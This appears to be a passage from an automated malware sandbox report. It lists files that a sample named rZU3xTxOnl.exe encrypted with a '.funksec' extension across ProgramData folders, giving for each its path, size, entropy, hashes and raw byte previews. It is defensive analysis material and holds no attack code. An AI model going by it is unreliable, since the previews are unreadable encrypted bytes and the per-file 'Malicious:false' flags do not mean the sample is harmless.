                                                                                                                                Preview:G2.!O...e........c.m.'Ph{.bG.Ol...<7.).a/oy!#e._-..Q.n9k.(.u......m.W~..C....B.......-8.|.L#.X.-pM..6.o..M...,.2}..M..\....%...;A....}..]...AX......%..nr.j.I.g,..N.Nl...I..mn.A%....^.5........W.J%..A.6...AO.^#..b .#...%..{-.d.Ou.....i..~..V...........-d.3..#.X..!p@...6.x..E...?.s}..t..\...}..O;..|..}..9...X....W.o..nh.w...},.....l...I..Gn.At..W..kr<.wF.p..W.L]...Q1..Oq....'.a.W...2*K9z.Z.Du......u..~..R....E.(....-7._.v#.X..tpg..-.n....... .'}..)..\...."....;O.5..}..3...X....!.!..nd.=.+..,..e.Clf..I..%n.A:...(/..Xb..s.]...or........z^....F..?HhJ....H..6.lu......n..~..@....d......-l.n.S#.X..<pK..+.5...).....,}..|..\...|...;N.9..}..'...X..b...2..nh.l.H.7,..f.vl...I..(n.A+....9?..Nu7......P.Fz.+...:....X.$T...q.[.J.q.z.Hu......n..~.r....X.A....-b.r..#.X..=pQ..*.+..K...e.0}..v..\....^..C;..`..}..o....X..R...)..nd.#.O.g,.....lK..I..9n.A'..........S}._....#R.)AH....>8z..}.Q`....D....f..u......!..~..C...........-o.7..#.X..:pF...,.{..B...t.c}..

                                                                                                                                C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):6094176
                                                                                                                                Entropy (8bit):7.971941532118057
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:98304:91UzYv6JYrjqlCEv8zLwDx60LQLr0f026lplsZAK8SdDuMCAikY3CnkI41ssiMAV:4UvrjqkEGLwDs0krj2lZAOdeA83CnkIf
                                                                                                                                MD5:57BB89741E503B587EFEF0883F1FAE5E
                                                                                                                                SHA1:EA6804447BDDA31093E77CFE86D7209F4152FB73
                                                                                                                                SHA-256:1B469DB5194CFE01813EF9B57380A0735BB4671D6BC49EA438853A322F008436
                                                                                                                                SHA-512:0D57BD549A4F814D2611F71AE85EDC4E7A0E9286439027B4BFFFF5EFA2E8D2F51DFC7200D9C4CDC8FE534DFC9B1E846ED6D32744BEAEE8D860EDAC7085469305
                                                                                                                                Malicious:false
                                                                                                                                Preview:...}........9>.. ..y..W.AI.R's.9|....;.9..k..R.a..vd.@.....a].5=~.fz.FG 0r.X...CJ[..9O..u>.t....Zy9p*.;....gW....,..."MI...<....I....7..Qw..(.M.>..C\.x.l.,b.{h.D..SJ ...t......Le...vtz..:.!L...7@..........;D0.......... .....F.YNI..m.OA....#I.J.B&P.z.......f!..X.b............;g1#$......P...+E...s..B.....;...o..QJBx...T....+..k..suL.....1/.Y..n......;.g.7.....u.>..-... Hbs.....A/.....#.[OH..m.......#2.X...CJ[..9O..%{.t....z-.*.;....V....,.....l.....h....9..|:..0...\..(.N.|e5mXQ#G..u...I..w.c..*t....<l..S.n.. ..>.eO......%..lYT ..c.....R..........4.q]..=~.fj.FW 02.X...CJ[..9O.....t!...Z..p..;....OV...a"a1..lq...Vk.1.9...|Z..0...\..(.L.|3.VXI#G./.4..I..wJ ...t...V/...mPx}W%...&....}N.W*>.l...S..7.A;2!i.A...1..2.\]!.=~.fz.FG 02.X...Cd/..MO.....t....Z..p*.;....OV....""...B..u.h.2..9..|..0...\..(.L.|c5lX.#GL!.~y.I....!..I..o..aLU..c;.8}......o..r......6.~..i.o.2..#H...A...C...a]..=~.fz..G ....*...C.Q..9?.u2.t...Zy9p*.;.....V..

                                                                                                                                C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):178441
                                                                                                                                Entropy (8bit):7.998887718399166
                                                                                                                                Encrypted:true
                                                                                                                                SSDEEP:3072:cMqZbUHP+AgANMKUzd+fbI4VW7TWAy4j7v3iuwMuNiwl9xU1VKzWYt0GEWe0RiNE:cMCYP+zANzU5udo7TEqzDeMw7xU10XJv
                                                                                                                                MD5:225678F1F4704CC3596D0E61C76C4232
                                                                                                                                SHA1:B5F8F93A9B91146CF8CE857515FC90D1C0ED4B36
                                                                                                                                SHA-256:28F66514DB2FE269890609BA859A5EABD47C0DA9668491F340D146963D2ED8BB
                                                                                                                                SHA-512:98EB54204580A625EC31A47D4B47A1C580AE3F66939AC1F652E5FF9529886AEE2452C1EA357C45ADA68FC921BA07A6382880827349A63419C105D6180B59C5F8
                                                                                                                                Malicious:false
                                                                                                                                Preview:"k..x1....pi..[..%...5...I..x8...H..(*It.,.~.}.5%.cZ.@...Q.P.7..H..-........~..~.X.y....~..m.:..`.?..e.z62.X;.=.vw ...Hf..t..blRc......T......;.....2.X.4gi..$p.......hW... .j.U.s.P.X.|tn.8.C....!.$..H0....K.JGI... ^.b.7v.Z.-........9.}...>...2.N+.?.\....|...`].....!..y."@......o6|.QO(..H.;...7..c.\.e?"Q#2...n>...4..'.E....G8..'?......f.....\F..T.......|L....j.*aJ..f..E..cp/$...X=.P...).h@.... .......K.#..X\r.*...@..:.... ..gY.&Z6.t.......K...C.....=.@..6.iW..y....X..Sl...s'K.w.q.eF.1...c.*.W..aT.%.y..o.H..r[...$.........kU....i.&.0m..FV..%..(.....#.yu....,...m..d...-4.O.I.Fe.?C.e..b..vv .g;:$.....1.6.I...tO@..K..\3C`.....x9.s....v...K.@U...gj.......o...D.h..K_.isjI.c&..`..+...[.f........e.n.#w..|......7.e.......(6.x.ai.o8q.w..X..wMU.'.@..b.....-..y'.n.....(.....c4.h...&..).T~)...R......0..rF.e...z....;(.Z&.......I.%D.g.Oa..(...&..^E.2.7 .`>..j..%.6.O../.p.BXMp......I.EjN....3GB.i.........Z8.n.v.......)..j_../.fz%6.W...iRT.Z

                                                                                                                                C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\behavior.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):4041
                                                                                                                                Entropy (8bit):7.928866588123815
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:96:n7lu0JOudaUMXO5eh2iQbr2omo+RX+BGnU2G4bj:n7lJJBdv3ni82ovkXGGn3Gy
                                                                                                                                MD5:AAD98FE636D0540DC762B3F75CDCB87E
                                                                                                                                SHA1:C4A78F3D3E7B0B605495AE97297A9ECC41AF2922
                                                                                                                                SHA-256:0404FA179230890158ECDCFC9046D99B07311704294B7489F4E591E0B7CF2C7B
                                                                                                                                SHA-512:D187B2F8A450FE4BFB8A4E0C4531118EBA8745355A51FC1A3A87A850AB94B84808FCD5D44A3A33F0D09F5640069789E71D9C9C5961FB474232BB78A4C65BE966
                                                                                                                                Malicious:false
                                                                                                                                Preview:n.V.h...*z.~.....6...j,)d.......a............U...).......u.@.....d&.}T..0..T......h...] [.Y'^n.UPQ..4B=.d.:W...y.].S....L.95.....PH.G].0.D|..u....../..p.b.^..11\..DL...c.Jcq...N?g...E.S.~..9+!..%..Y.7{.VG....q..p...dic...-.T....h-.;X...!.....X.....:..WO|c.Rn./L..u..e.6.k..Z1...-.L......E.1&.[...NN.F..l.Ly.{<....Cr.....k.E..W.j">ko.....Gzs..Vx..7...t..?...L...`..]...<...i.Vt.}.jU.O$..._.H......;x.}E..{...N.......,.R.y$..-_6.XR1..4@1.{..<r....,.F........:3@...O......>.F~.<p6...Xp...b.c.A...g\.......O.Jgu...y..W....l.y.Ce6.\.Y.fk....M.f..`........p,~...]o.M....{-.=....~.....a..........q1..c.&y<.3.Ii.<.w..%...1........E.71BN...aH.GI.<.mW.i,O...Ux..6.s.X...%C.E........:7..[p.._.1...&6.:.....N..%..|...9...D"....8!. .d.Yc.o.....(..oU...V.R......a.C_<u.#s.(Dps1..'U9.U..8I...W...]....F.7?.H...Fd.DT.#..W..Z9...2.....'.....=Y.1YL...R.Cvr.....|L....1/..tK..T...2.X.,.........MmE..[.f.._}9E....d8......}..R...... .C.l...7NkOeL`..8.......O....?

                                                                                                                                C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):61216
                                                                                                                                Entropy (8bit):7.997005673033931
                                                                                                                                Encrypted:true
                                                                                                                                SSDEEP:1536:WOxOujhA50BNcEEUvaPwIZ0LrJUi7btydEn:N/Fc5Pw3Fv7Ad+
                                                                                                                                MD5:7F422FA8711120FD609E5AC902D4FC3A
                                                                                                                                SHA1:4C6A508B3259175C0A26639D167118790A3F3848
                                                                                                                                SHA-256:9080D82943E3F5294FACABCFF64A0A029F784FBA7F675ACF8D7E4C7172454F1B
                                                                                                                                SHA-512:B1B3C1260518D036902851224BB9BBD2528E839CE72D5C6F7C23F9213B2B0963C6924C652B6A1C25929510ACDAB20F9E85E4604B46AABD47F2CC5AA800430E28
                                                                                                                                Malicious:false
                                                                                                                                Preview:>../..X]...#-..@.Q|....ig.A.....6"..a.y%h..S]9.....4...n.D..N.^....3......IO.....g.CT.8%..J..n?..^g.p..1.......%..;v^.W.x..E.>G.(..e..v(.,..d..C.h{.LBQ..&t.!..^..o.U....S.j...Bb.i.mO.z.q#.?.......P....+,..Vl2....Y..#..) .r{..R./....wK.&..2...xi.D..g..x.g]S..,.z....7.......(./.T..&.M..m.1.*S"..m.*...{.W[..~.....wLr...bX.7.?yN'<....u,..>.j#MoxB[....x.h#^.a;I.P.C}W...p.I..A6.>a.F........=.*..3.......G..Z..W..."..(T.Nc..%+F...o?.D.r....:..6...ZfT@..\*.......}..Z..[..v.I..y..R..Y.E.3..D.....t..v..qG...L...W32.....$*...XW.vo.....Ais...!/F.....Op....:=r.....Hm0..V.... ...s..\w...uEzA........D.n?oAKvh7.kb...2.........,...u(I.S...Z.}x.....Ee78.`.4....hD.+../.......N...j......e..F.5Rdh?..,?......_..|S...*..S5.{.?........DM 9..v..K.%.....^(V^E.....?...!.4..<.K..C .#.BW..h..].W.....D<..A.....9H......NZ..,..U.....u.j$..#...W..G......B.....k.._0.x.......>..~..o..U....n.]..O..H..C.2A....!.v....O>>.`{*.=......S..lo.....\.iX^.....C.v...B..h..z.:.8/.$...7

                                                                                                                                C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):39737
                                                                                                                                Entropy (8bit):7.994912298794491
                                                                                                                                Encrypted:true
                                                                                                                                SSDEEP:768:m6l2nY0JzgJW4q3/vovscdX2g/2N8Z3qhwMF0lAqKglHy4Rxz7tdUImv:bcYgkJW4q3nOsc1YOmx0lAVaHxz7nGv
                                                                                                                                MD5:D74EE3B1380FA6ABCDF7BEF62D334B81
                                                                                                                                SHA1:0B59B7BF28156F12E83FE6C4DFC8DDE7FA86AD43
                                                                                                                                SHA-256:740403FAAEEF8EBEEF1D5AF44296BE4B20AFA4E0040E45132034C7234FAE448A
                                                                                                                                SHA-512:0FE50C8BC875997F33512CA7BE40C3FA77E0ADFACC5D8FE3A1E5D2D9D611EAF1C50102ACD5370269E5FC77DEF0484E496341707CA182D4594571E83BCBFA7E8A
                                                                                                                                Malicious:false
                                                                                                                                Preview:c.w.j.o..,*s4!+'f.d....i...|.H. .....c..4tc...>..T.TC-}h..lD._.s..'..5.eGEq_.p>...y......3..|....hG.'.(......(..|.V....y.....g.F..=.3Q."...a.|.R.A-H..7).#.U1.>.B...O.<C.yA..A.....].kwwe.$..O^.......9(.E.m;5..=.E........-..H.;.$yWb...d`s+[...`h&..^..\...k..'5.........u.2.. ..S`.(#...u/..F.5...I.....QFv.b.lV..L.....q../..P....D3tA.Jm.....4...k......./.=bW.4.y.:P:.d.6.........Fb.rq.z.....m.... g.......n......).m.U3...mI...r*..+..{3.=>.....j....(Z^.(.51.......:...8t<.W..2Rwz]I.H...h.....Yb.T.^@+..*x.A..^...>.iwnF...T..fa.#..C.C5Z...ir........V/.0L..y.V.. .....{.:.u..G..vT.*.....-...m.SCL....Y.i..d6.)F.0...t..8..].Z)....Q..?.'.\4:..`.f..;.2....g. ..o....B....j...M.J;a....~..DAC,3.LV.}.;.T..$-8..hW......C.#.n.EA..hKF.OI..FmG.....O.3...<=.P!2....."%Y.$.(s(z.x.S.k>.|KFd.:j{...GZpZeh<ZX...0Y..#cRH.D.jI1.p....7./tv2^..P.....................?1.[.f=.m....\*'......(.....c+x.k.;.....bx?.e....v..M ..K....43.N...LO^.#k5.....k...0_&.wH..[&........V

                                                                                                                                C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):54187
                                                                                                                                Entropy (8bit):7.996776378641144
                                                                                                                                Encrypted:true
                                                                                                                                SSDEEP:1536:3KOc8rCmlRFphFyo2Oe9m+anouBdXn+HQJ16H9V2:3QEzx7kdOeA+2XdXn5j5
                                                                                                                                MD5:AC9204C772D6265A7F805A61CD7618D8
                                                                                                                                SHA1:0681C429660C2FB8E65EC9553386319E8DF7CA50
                                                                                                                                SHA-256:721400280FE0D0FDE3F89A1CAAE6FB7888A14CA3E1BBB8EBE2BD84491ED568FE
                                                                                                                                SHA-512:458E34A865C390AE877F3D7B083F143E0B2A6E2E476EFA978C0F13521C2BCE9758E8158EED4FE7838C2C936530BE6135937DE646AB824AB2FC8DA24A886F9D1A
                                                                                                                                Malicious:false
                                                                                                                                Preview:...Q....}..D....?*..i./.F..3j..\2.... ....woM._c.V.+....zA..G..2.F.aCf.....#....?...?t..F.;..t.6.O7....`.8^.e..#N.Su.KF....t....<.....8.3.Kt..2[. cH...L.Gh.......L..9 .._pr..G6.N{...n.3syU.....e.>|.M.Jvx..#%GO,;.<`.g...........?..S.m.l .0.....~].....P..3......`A......Y.d.....].......!. ..v......x....$......b)..@...X.._...e.....C..8_.K........weq.F..m..r@..STDL.4....US(.{.....M.."A..g.. ....e..2C..........8+.X.....gN.;.a.RX.<...j8j....U.:5..o]-W..<)../.6-.k.[epD.........O..~.lk.C....a....A.+..g.;...\......d.........8.z....v..g4-...eB?..kO..;...9I...O..|.U..k.....Y.'vl....~.........;...e.q:'d...w.f..j.5.<.....vx..D....n.N.>o..)F.kS.v.>.6x.@.ZC..um..1..V..n..z.i.x.u'.........M..nB......_.d&...........{..F....2..$..A.:].6.....,.o...y.f..~...y.'v..../U[3..F.M.?w|.f..y.LiJ..-,.6|...LU....\....;......v...CvL..d.i.......-.*.o..Gt.....W%cJ.........S&,"+. =...2'2.W......z...S..<nj.....*.{xd..2f....A....0K..W..E@....y..........N.._.w..

                                                                                                                                C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):178441
                                                                                                                                Entropy (8bit):7.998850103300107
                                                                                                                                Encrypted:true
                                                                                                                                SSDEEP:3072:76U0ljy40jdgmfDSSH7+c6F1ePv/mBJVjMpBoHZVrNNbo/WOaQjr:7kljH0j6mfLgF1eXoVjMpBENbo/WTur
                                                                                                                                MD5:5E5F07EF737C364912073AF1269C3F6E
                                                                                                                                SHA1:6D06698EC7C22EAB5823C90000B0E8C4F0569A75
                                                                                                                                SHA-256:CDFE852B0FF1AC28BD4821EEFF3232D353D55DD8B06AF3CD0E5B95B899416898
                                                                                                                                SHA-512:8D25D09DCAEA8563BF53DBB6FA280101081D38E16C4A3C1FC12F05FF457B2D0195200A260FD94DDC2C40E25387842CC31F504BB2B1B47E341B970A217AD2327C
                                                                                                                                Malicious:false
                                                                                                                                Preview:.L.7.9<..m.Ck.."..N.....o..l..~1vG.......&...>...X..9.E.ey..~.Yt.ubB.F.....(......*..9.:.'..T...N.O<2.8".+ ..|...n.4.g.N.:...N[..B.N.*v.$..MY...s^.^..K....U......;.S/...v/H.jOuw.D.^..Z..3.I../.n......(2-.Orw....KF.[..#.H.....V..+.....x...\..R..|O.......P....V.i.............j..%Y'...3D..uu.lohO'...zZw...&E,..u.t._.V.d{..FL..20E.&.).*]`K#.....&....2..v.8,Ye.4.>..D.K.?..;.;.Et...?'4..@.z.y.._..o..V.i.C^^gP..u...*c......R..yl.....'..).......v.^..4..E0g...;\..&.{I./...5.g4....b.W!'<.'..[."..=/.TNn.Muw.nC...G9.......F..&..Y.iQ..~.kW$....T..|../}..A.E.lX$.j...-=..+..B?rL....].../P.r...l...L\..B.*.q..)......Q0b.t...7...i-..p..=/.......a.kS.T......lh......`p.E.N.C.~..#.HC..N..._.Fm.#....3.?e.:..W....w.....j...'f........)m.#.XbA>...4..as....2..X...e.h=X7...J.....Q...m^9...f../w.+.7;<QYa..u..W..F.br...7..F.....v<..'........C.J.!\......e~.I.....l`.&.Q....0i.N....[.]...V...1...=F....S.&.]yi086..|@.S...*....gWB.u.../S.tC...t,k..l2..,.P~..=.(.1s..*......g

                                                                                                                                C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\behavior.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):2439
                                                                                                                                Entropy (8bit):7.897652607725004
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:48:bM/bZRkrP6jPfm6MAqoXqesSE5P/Qd5loNOyLUDnF1z:bM0r/FjOqeVE5PYdnoxyn
                                                                                                                                MD5:ABBB4181CAA5724D8E8643B85272E063
                                                                                                                                SHA1:2F956F6D7D01AD7C41F4950B73307FE31778F209
                                                                                                                                SHA-256:EE263405E26ACA28497C5CDE050A352A2BBDD10F5D7A0F35451380AC9491CF3E
                                                                                                                                SHA-512:F014A955FB9751686BF6E2635F569F7FDA22E857AE2EC6A638C9775532B148374313A3E0110DA8413EBC5D30BD8EFBC51A1E9BD366DEBC251CAC84F1A9D20324
                                                                                                                                Malicious:false
                                                                                                                                Preview:y...s..).p.....-..4FP...5_..i...W$n..dbm.i. .SG...i..M.N..1...>..dLk.....dP...X.....2.....?..F.ps.C...q.|....h.w..../.]..0y.m..'.......Y./..N....xZP..j....fQ......n..y...=^\.LF.+......q.........gY/....0E..7 .c419HA&.%...E...9.W.)..c@`...es.........J.k.....8.bI.!a.D.&.!.;........._.:.H_.hk.`..'........M.f.......p_L..>.....-.N..,..Z..5... B~/x.4.......f4..X+F.....Q8.'.8.9.P\.J.@-..x.o.0..E......[k..=.'....:6Z...\.....$..QF.n.j..ek...2.m.x...OY.z....:.H_O~x.+..!.......Z.e........v]S..(.....d]......n..4....x......Q.=C..2../.)*......i.m...W....!p/....C..R./.U.+..bMF....gs.........4.._b.m.vG.6C...s./.(.G{.i.S.4.B_.=).C.........\=..B....r@P.......bW.....>..x...!EI...M.....*9.a..4.J./v.70T..p,.n...".O..4.........6.5.B.u..d@`....=F...u...H.5._Y.L.w..r`...<.m.g.Ry.~..^.(.InCsf.>..5.......Z./..T....eHP.#.....T]......^..c....ZH!........I}...|..,G..r.&j...../=..@~..r.hk\.$)f..B..5.@P...yFh.....>!F..C...m.#..J@.d.a..pk...<.m.g.Ry.~..

                                                                                                                                C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):39737
                                                                                                                                Entropy (8bit):7.994443893052518
                                                                                                                                Encrypted:true
                                                                                                                                SSDEEP:768:Mr3GZKUu8gqOWhWlETzxHwuODFHh9AfINNLZRVuXaV6W9VN:ZNNOlET/kgiRVuXaoW9VN
                                                                                                                                MD5:1D85441716E682184131EB8A4371F5D6
                                                                                                                                SHA1:83C31121E0C420134F067E5471A8DD57BC7B20D7
                                                                                                                                SHA-256:EF6373AE1B0A6A17898F6A3F2DFB1D7344CA2660E87B7DB50F0C36E2EEBDCF9F
                                                                                                                                SHA-512:4ABB9EAE2EA255DC71D685BA4D864D5A97DA46CCD0FE350D51EA83665F434F5EC97B2C64F211B84C75F6D97CD97D12484E87637C803D8DA06CC623CA1E1EC5E4
                                                                                                                                Malicious:false
                                                                                                                                Preview:9....".U.:l...".X.WEp...X..bF.c.&.L!...4._-<.59..=.....p.|.>.H..L......e..m..YR.c.:..k.. L........4....t..82..'"..8..&...W....%E...D........n.., i..~{.......1.....$..B.I>.vw#...#L..........Y.1..v..XO..e..tt.5.c..:...o..3> }.+...).hj. vz.........@7w..0g#.Ir...).i....kwu.%..hW..T.C.6r...z..v...K.%................_..C<z.T.2uz..^'I.....'.J.5iPVT.]......P.fxv..)..r..V...r...c..Z.[B..o..-....4......7i.5..xG...k....|...G..R...6.{.kI1E,../..+.......O..X...=w......k.(.3 ...`...;3..d.R.&<...b.;.7e.DT.3....WV..ru..\..yx.._En.,lRDw...l.8t....K_.....V..0.-..6E...(o.qMM.D.#^....N6U\.t...v...a..G?..Wu...L...p.....q=L...(."...#.d.|....%^..vL.5EB..x.O.z..&p+I....._.br.....Wnh..O\qU.....J...+g.'R....9.4.......8F....&tz....Cd...$.z.. .....Y...]OQ....3.i8...MN.c.........L4}.....%0....l...D.3A......#.....)..*.1.Qs.G)`.m..k11.....E.:D..h.B.zr...n.y...@..<.....UR&...T....9R.:.......CG..m?).^...H.#..3.2.h..W@$*.....Rw.N.h.EO..|y.B...t.......>.~.=>.&...M4$..l

                                                                                                                                C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-GB\resource.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):1901
                                                                                                                                Entropy (8bit):7.859590592925703
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:48:0b+wOCtzo3odJHe7ouSZ7U3YLwB2ygPigjcGFfcgukuYMH2:06nwF8C5ygPigjcl2
                                                                                                                                MD5:ABB7223BC42763015F74F642E1568AB8
                                                                                                                                SHA1:41BEB69C616EB317549433CF6A5F76AEF730BB30
                                                                                                                                SHA-256:6A5038D9E1350D0C8BEC1AD773DCF0C346CD09164EC64A0941BC4FAD7C0250C4
                                                                                                                                SHA-512:BD93CD27F0DC29C5F73AEB189F65E5F5326D4E2CD642D73860E3C3A6BEADCC98B30EFFE5ABF462A129886B8BE8C59F33A4CA7B86C1CD4328DF2C3286E52F97DD
                                                                                                                                Malicious:false
                                                                                                                                Preview:G....];tY.{...Tu1....m.).+...DNq.V..*@L....dz.7......O.G.(...`.JP...H/.v..X...0.Q.......^.Aoo.R.gN2......D4.]....8.>..U..%G...$..g..o"..zG..l.hx..9../...3.q5............7...2.....l.>)G..2\..Oa.hN8..'>.c.p..P....$.!.....[.(......\....>.g..e.)............\.L|N.U.".$....NC3........X.m...B..8O.z.<!..t4..]....."o..9........~8.>.........N.`@lh..Mc...m...ar7e.q.*...*.a.&.)..A...x...&.....C....3...}......%.g..T.!....\Q......Y.Jz..C.p.$......3._.......w.$...Y..|......%..?...)...;.(r..l......d..v.d......V..e....*..0....'.-.M....i...hA+....z..o..%..\W.....K...4...o..>...8.e..^..|...D\M.......^.N|^.B.l.>.....MC2.T......<.(..Y.j.......va.!f..}...;..xD........?.v7.....:.....x8..............I.q.l.qH.0..p,.\LB.Ji...-.]9K...L....7...o.......8.q..X.~....F......X.Ff\.Y.?L.....ta%.D........>...F..9F..#.L'..s#......)...U. ......z.q2.......Y.....V....^;.,(..n.....)m+k..pl+Ygb.;eKd.gEz8rp8..E.j..z...|......Uh.l..n.1..*..M........VfX.B.l.9.......3._

                                                                                                                                C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\resource.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):1886
                                                                                                                                Entropy (8bit):7.867138053880125
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:48:3nIBC8ARNJaUeDRXI09UE5oHZl3UBv2iV9e2f:XIBCtx0dIGYGvv4i
                                                                                                                                MD5:2DB34B59BC44C49F2062CCE33944B7D5
                                                                                                                                SHA1:8A112B33C98554F6DB22220A4B7EC1FC82193F9E
                                                                                                                                SHA-256:F1A44FA919A139012BAA66412DACE49E030C5C82C5D41BBD4806299FCC30264C
                                                                                                                                SHA-512:65CD7BEBB849CAFDED50ECD6D8304C81005BEA637A720BAEC70F2E2B5A5413D53B75172EB63D47277E6FDDC4C14A6099C9272B30A68ED08D3FD84008039AFB7F
                                                                                                                                Malicious:false
                                                                                                                                Preview:U.......$k..b..7t/.[.M.y..0}..6.N.N.SI.z.u,|.f(9s...w..D..`.s.....3..~.....E...2.v..c..x.w.L......+R_[Z*/"IZ......_...,.E...J...@.aK.CSq.j.h.e..O...VB..F..l...+.N...{.A.pO. T&~z...j.....*.L.>.>.f..`..{Q.7$..8...>..../>7c.....?.....;..8.....^..4..bT.x...b...1......&A~H]5jc_S.........N.q.J......W.gV..^./.W.|.~..g.L..-z.Q..l...<......v.A.?J. E ....8..F-..lw.,..D.q{..u.......`<.I....g..Tp....8.q......3..:_...^..>.x\....9Q=.a...... G7.K28k_P.pn..._.T.d..I..P..L.kg.D.M.f.z.5+.LZ_...J.L..9J..!.E....8..W.mS.$.<8..(8..XI..X...d<.V...r.[..bD 2.5........:RID....J.q........7r.....B...4.3..R...%Z!.mU..... T._.4#lVC......Y.D.v..@...U..K.`]..D.`.i.!..XN..Y...Y.K.'(..2.N....q.p.lQ..P89.mV..*. ......y4.1..e!(.1.....O.[o_...G.<...l..U.q......8..|B.....Y...-.rZ.....)P/.L.....7\e]./.?.z......N.T.\..^...\..J.zQ..CS.c.p.+..U.[.F.K.K.%...'.Y....y...v^.,Bis..{A......eh...~.....`..1.....`..#..sw.;}.......j.q......`..D.......5.Nk.E...!S-..&.....eFrT[zeqEE........

                                                                                                                                C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
                                                                                                                                Category:dropped
                                                                                                                                Size (bytes):15159
                                                                                                                                Entropy (8bit):7.885540424502786
                                                                                                                                Encrypted:false
                                                                                                                                SSDEEP:384:SDDMaBtLGHYb52Lby1g6Dnq8JxNYZ0ujuZxRcs4fS9iNLfxHCLJ0e372fj:SDDMaBtLG4yG1g6Dqs/YZnjuZ7czSIxf
                                                                                                                                MD5:8F5DF123DD2D699C43AC1F10F8278A90
                                                                                                                                SHA1:7113C5575C80BFAA09F53B5F9ADD0CD2E546F238
                                                                                                                                SHA-256:6543CBF2F91718533E01928CE50723958630B0E025C508DF43BA28FB088C528F
                                                                                                                                SHA-512:C5664C146CA8D7E0EF004FE2151B309DB70F78F1305FA55F71F29554CA858D41CDEA8EA62F464A04382B40A47E60A7E2D6A911B380DFEA166FA12BC43B67A6C5
                                                                                                                                Malicious:false
                                                                                                                                Preview:..iq.y-\.%..HO..}EU..E.(6r......0X./l.....1t.....#..v...p...`.....H.7%V..(i.'...u..>#.....H.E..y....6..z.......R.......Sy{.....w..o8^.i....+..2.i.....3.U.....8..4.PU?.e.z{....N......&.....[a...r.-.o"...)......GU.XJ.m...!.>...[...b.....H.)"...~?.n...-...:7......B..X...T.w..*.....E..A..|....p.2..\.1P.-z.xw....9..t.*...P.......a....).l.H.z...g..h...t..x/y...3)..{...^yW.a..Q..A..sOP..!.j..>...q.G...G.xv@..p3.n..)..9>....D.Y..4...F.nZ.4.....X.._...7...]42.....t$.a2..,M].l..2......`.....}...@..."...g&-L|..0Y)nl.8K.._._.].O.....C\..\...6.....4>..Q.)...y...a.+,.....T..f*.c..,...*g.....V.M..K..2.=..P...............]42....~...'ZKj....r.Go.T....z.......3....Fj-...#.}...C.;..s]%kt./.=].".D.......Z..o5,.u...`.KV.d.h...C...f.....g.95T..f*.c...=...4k.....$.E.._....sX.G.....$..5..r....p~...B..}.,w..>]M.|..<.<....7.^....}...@...l.H.z.5n.K'.._.....H.7&.b.9.3.bF.....Y....".w6.m...!.........c......mfT..{(.a..h..x.......T..........!..f......

                                                                                                                                C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-GB\resource.xml.funksec

                                                                                                                                Download File
                                                                                                                                Process:C:\Users\user\Desktop\rZU3xTxOnl.exe
                                                                                                                                File Type:data
